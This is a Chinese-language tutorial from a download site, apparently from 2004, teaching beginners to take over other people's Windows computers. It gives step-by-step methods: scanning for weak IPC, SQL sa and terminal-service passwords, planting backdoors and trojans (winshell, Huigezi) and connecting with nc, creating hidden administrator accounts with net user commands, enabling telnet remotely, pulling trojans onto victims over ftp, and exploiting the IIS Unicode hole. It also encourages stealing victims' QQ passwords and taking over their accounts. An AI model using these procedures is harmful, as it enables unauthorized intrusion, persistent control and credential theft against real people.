您的位置:首页资讯教你一招 → 菜鸟常用详细教程

菜鸟常用详细教程

时间:2004/10/15 1:15:00来源:本站整理作者:蓝点我要评论(0)

  看到论坛里有部分会员问的都是一些怎样入侵对方电脑的问题。想了许久,我决定自己提笔写一篇文章,总结我几个月来接触这个领域的一点经验,希望能对跟我一样菜的菜鸟们点帮助。这也是我第一次写文章,有些地方难免会出现错误,如有不明地方可以提出来。 
好~~!废话就不多说了,开始步入正题吧!!开始之前先请各位统装98的改装NT以上系统,因为下面用到的一些命令和软件 
在98下是行不通的。通常得到管理员权限才能说入侵控制了对方计算机,所以下面的入侵方法都能得到管理员权限。说句题外话,我用的是win2000,所以操作都是在这个系统通过的。 

1. 不用说,肯定是IPC弱口令啦,真不明白网上为什么会有那么多这种人见人爱车见车载的计算机,随便一扫都能扫出一大堆。首先,打开流光4.7,记得要打IP补丁啊,不然不能扫国内的主机,这样是很不爽的,要来个通杀嘛,呵呵。点击“探测-高级扫描工具”,出现一个方框,输入一段IP,检测项目中只需在IPC前面打钩。点“确定-开始”就开始探测了。如果你的IP段够好的话,很快就可以在最下面的方框里看到结果。哈哈~~真是多啊,基本上都是空口令。好,现在就开始入侵了,点击“工具-NT/IIS工具-种植者”,填入刚才扫描得到的结果,选一个应用程序文件,我常用的是独孤剑客的winshell(下面提到的都是默认设置),5K大小,是我56K猫的最爱~!你也可以上传灰鸽子,这种木马挺不错的,能自动解析域名上线,还可以避过防火墙。一分钟后,我传上去的winshell运行了,很自然的打开cmd.exe,打上nc IP 5277 提示输入密码,输入设置winshell时的密码(默认为空),回车就进入对方电脑了。这时出现cmd>提示符,输入i(安装winshell)再输入s(进入cmd),再再输入“net start winshell”(后台服务,开机自动运行)。完成前面的步骤后,才算是真正进去了。进去干嘛呢?嗯~~这确实是个很高深的问题~~%¥想干什么就给你们去想吧。不过,呵呵,我还是想说几句,推荐找到他的tencent目录,找到他的QQ号码,加他为好友,方便以后长期控制他(肉机啊)。如果他不肯通过你的请求,那就用狠一点的手段,利用流光种植者再上传一个QQ杀手,把他的QQ密码偷到手。得到他的密码之后就~~~~~就用他的QQ登陆,再用自己的私人QQ提交好友请求。爽吧~~~~加多一句废话,如果他还没申请密码保护,那就好心点,帮他申请啦,不过邮箱记得要用自己的啊!!! 

2. 3389。请各位注意,我这里并不是说什么烂鬼输入法漏洞。这种漏洞差不多已经绝迹了,太难找了,如果有人找到了,那恭喜你啦,证明你今天时运高,记得要买彩票啊!众所周知,有开3389的一般都是服务器,也就是说有很大可能带局域网的,而内部入侵比外部要方便一点。如何能快速方便的得到开了终端的肉机呢?这需要用到两个工具,都是扫描工具来的,scanner3.0和焦点的xscan。打开scanner,输入一段IP,范围要大一点,scanner速度很快的。在“所有端口从”那里都填3389,点击“开始”就可以开工了。跟QQ上的好友聊了几句之后,铛~~~扫描完成,结果出来了。点击右下脚的“删除”把多余的IP删了,只留下开了3389的IP。再点击“保存”,把结果保存到文件夹里。找到保存文件的目录,打开它。用记事本的替换功能把它保存为一个纯IP的TXT文件。“编辑-替换”在“查找内容”里输入要删除的垃圾,再点“全部替换”就行了。打开xscan,点击左边的蓝色按钮,进入“扫描板块”,只需在“SQL-Server弱口令”“NT-Server弱口令”前打钩,其他都清除掉。再点击右边的蓝色按钮,进入“扫描参数”,钩上“从文件获取主机列表”,打开刚才替换成纯IP的TXT文件,确定之后就可以扫描了。这时需要比较长的时间!去论坛灌灌水,跟MM说几句话吧,不要傻等就行了。确定目标,用mstsc(登陆终端的工具)登陆对方主机后,打开对方cmd.exe,输入“net use”,先看看有没有人也在连接这部机(安全一点好,^_^)。“net view”命令之后当出现一堆前面带\\字符的就表示~~就表示什么呢??我想大家都非常明白吧! 这时你就可以在那部计算机里下载并装个像“网络执行官”之类的局域网控制软件。碰到这样的计算机一定要珍惜啊,要充分利用利用。 

3.sa空口令。这时又要用到流光了,点击“探测-扫描POP3/FTP/NT/SQL主机”,扫描主机类型设为SQL,把“将FrontPage主机自动加入HTTP列表”去掉。扫描结果出来了之后,用鼠标左键单击某一个结果,点两下“连接”就会出现一个方框,“Type Command at Prompt”提示符是SQLCMD>。打入一个命令“net user 要创建的用户名 密码 /add”(这是创建一个用户),再打一个“net localgroup administrators 刚创建的用户名 /add”(把创建的用户加到administrators组)。创建了用户当然是用流光种植者上传后门啦,填入资料,点确定,但却提示上传文件失败,再检查一下IP,用户名,密码,并没有错啊。咚咚~~~告诉你们吧,这是因为对方删除了IPC$,种植者需要IPC连接,你当然上传不了文件啦。这时候就要动用另一种工具,它的特点是:不依赖于目标的ipc$开放与否远程开启/关闭目标telnet服务,这就是“rtcs.vbs”。在cmd输入:“cscript RTCS.vbs 目标IP 用户名 密码 NTLM验证方式 telnet服务端口”,当出现“to get a shelll”时就表示成功了,你就可以“telnet IP 服务端口”了,简单吧!!如果你想上传木马,也很简单,只要登陆ftp服务器(要有你要下载的木马服务端)。这些可以找网上的肉机,弱密码的实在太多了,或用自己部机做服务器也可以,后面我会详细介绍。telnet上对方,输入“ftp ftp服务器IP”用户名密码进入,“get 木马服务端”就下载来了。“bye”退出ftp,输入木马文件名回车就运行了,以后你就可以用木马控制他了。 

4.U漏洞。这种漏洞现在虽然很少,但还是可以比较轻松的扫描到,用这种方法黑网站确实很轻松。但我们这次说的并不是如何黑网站,而是如何取得管理员权限。首先,启动流光,选择“探测--扫描POP3/FTP/NT/SQL主机”,“扫描主机类型”为NT/98。等一段时间(看你扫描IP多少来看)扫描完成后。如果你能在中间的方框里看到黑色的小电脑,就说明你已经得到了存在U漏洞的主机了。双击iiscrk(小金的作品),在“当前连接”处添上刚才扫描得到的主机,其他设置一般默认行了,不行,换其他方式试试。点击左边第一个图标连接IIS主机,如果成功,你就会在最下边的方框看到对方主机目录。要当心啊,具有删读的权限,不要乱破坏(警告)。好,现在开始真正工作了。单击左数第六个图标“tftp”,如何做我就不多说了,里面说得明明白白。不过,要上传什么文件我还是要说的,这个就是iiscrk自带的idq.dll,把它上传到cripts目录,成功后。在cmd输入“ispc 对方IP/scripts/idq.dll ”(ISPC每次执行一个命令要打3次回车)。成功登陆到对方后,你就有了system权限。用我上面提到的方法创建用户并加他到administrators组。我要补充的是,一般你连接上去时出现的目录都是可执行目录,文件可放在里面。 

本来我打算写多几种方法的,但没有什么时间,现在我连打开电脑的时间都受到了限制(痛苦ing)。因为这次期中考考得实在是#¥#!!唉~~~,有一科还是老师好心,送我几分我才及格(太惭愧了)。看来要以后啦。。 

上面提到的软件如果本站没有下载,www.google.com搜索。 

推荐几个不错的东东,适合菜鸟(我也经常用): 
DameWare Mini Remote Control(远程桌面控制) 
Loader(我主要是用它来改QQ端口,因为我经常用代理啊) 
BlackICE PC Protection(防火墙) 
MsgSend(发信息用) 
QQ代理(不用我说,你们肯定知道是干嘛的) 
ttyip(隐藏自己在论坛、留言本、计数器、WEB聊天室、网页的真实IP)

相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么

文章评论
发表评论

热门文章 电视盒子怎么看百度云迅雷9怎么关闭右侧 迅迅雷99.99下载不完怎么网易云音乐怎么上传歌

最新文章 2022支付宝万能福扫福微信迎新春状态怎么设 微信小老虎头像怎么设置 微信ID后面设置小老抖音压岁钱卡怎么获得2022 抖音压岁钱获取方微博隐私保护怎么设置 微博隐私保护功能完善今日头条2022年集卡活动开启时间 今日头条2

人气排行 智学网怎么登录 智学网怎么查分数 智学网统教你怎么写电子邮箱格式?以163和QQ邮箱为例腾讯大王卡用了后悔怎么办 腾讯大王卡值得办缺少或丢失xinput1_3.dll解决方法,xinput1应用程序无法正常启动0xc000007b解决方法快播关闭怎么办?快播不能用了怎么看片将pdf文件转换为word文件的最简单方法如何破解QQ空间密码和权限